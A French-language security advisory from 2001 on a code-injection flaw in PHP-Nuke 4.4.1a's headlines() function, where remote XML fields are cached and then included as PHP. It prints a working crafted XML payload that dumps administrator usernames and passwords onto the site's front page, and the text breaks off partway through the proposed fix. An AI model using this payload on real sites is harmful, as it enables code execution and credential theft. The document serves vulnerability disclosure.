sAvAte inc.
Serial Savate System
<[( advisory )]>
Programme: PHP-NUKE
Homepage: http://www.phpnuke.org
Auteur Contacte: 21/mar/2001
Reponse de l'auteur: ??/??/??
Patch de l'auteur: ??/??/??
Version teste: 4.4.1a (derniere version en date)
Trouve par: tobozo
- Problem description:
~~~~~~~~~~~~~~~~~~~~
La methode utilisée dans la fonction headlines() est une porte ouverte a
l'execution de code arbitraire si le xml qui provient du fichier parsé est
malformé dans un des champs dont l'information est retenue pour la mise
en cache.
Le probleme a deux causes :
fputs($fpwrite, "$title "; ?>\n");
1) Aucune vérification n'est faite sur l'integrité du code situé entre les
tags xml
et .
2) Le fichier cache est inclus au lieu d'etre lu et affiché
if (file_exists($cache_file)) {
include($cache_file);
}
- Impact: desastreux
~~~~~~~
1) Il est possible en forgeant un fichier xml de faire éxécuter du code php
dans le bloc headlines appelé en bénéficiant de toutes les informations de
la session (variables Get, Post, Cookie, acces a la base mysql en lecture
et ecriture).
2) Il est possible de faire afficher le resultat de l'execution de ce code
dans un bloc du site sur la page principale et rendre ainsi ce resultat
visible par tous les visiteurs.
- Exploit facile:
~~~~~~~~
Quand un headline est défini pour lire un fichier backend
http://serveurdistant/fichier.xml, si le webmaster du serveur distant modifie
son fichier manuellement pour y inserer en une seule ligne du code php
appelant des informations propres a la session , si ce code est précédé des
caracteres \"; et se place entre le tag et , ou entre les tag
et , il sera transféré tel quel dans le cache et sera parsé lors
du prochain affichage de la page principale du site.
Voici un exemple de code xml forgé avec notepad qui liste les
usernames/passwords :
PHPNukePass Vulnerability en-frPHPNuke : show me your pass. Brought to you by tobozo@biosys.net
http://www.phpnuke.org/
Phpnuke nakedhttp://www.phpnuke.org/topics/topic.gif16059Affreux\";$result=mysql_query('select aid, pwd from authors');echo 'Pass
List !!! ';while(list($user, $pass)=mysql_fetch_row($result)) echo 'User
: '.$user.' Pass : '.$pass.' ';#;//
Le fichier cache alors est updaté avec le contenu suivant :
\";$result=mysql_query(\"select aid, pwd from
authors\");while(list($user, $pass)=mysql_fetch_row($result)) echo \\"User :
$user - Pass : $pass \\";#;// "; ?>
\" TARGET=new> ";
?>
Et la liste des utilisateurs et de leurs passwords est affichee directement
sur la page d'index !
*Note : dans le tag les premiers caracteres sont \"; et representent
la fermeture des guillemets pour le code php forgé par la fonction headlines.
Fix :
~~~~~
In the mainfile.php update the Headline function with the following content :
function headlines() {
$result = mysql_query("select sitename, url, headlinesurl from headlines where status=1");
while (list($sitename, $url, $headlinesurl) = mysql_fetch_row($result)) {
$boxtitle = "$sitename";
$separ = "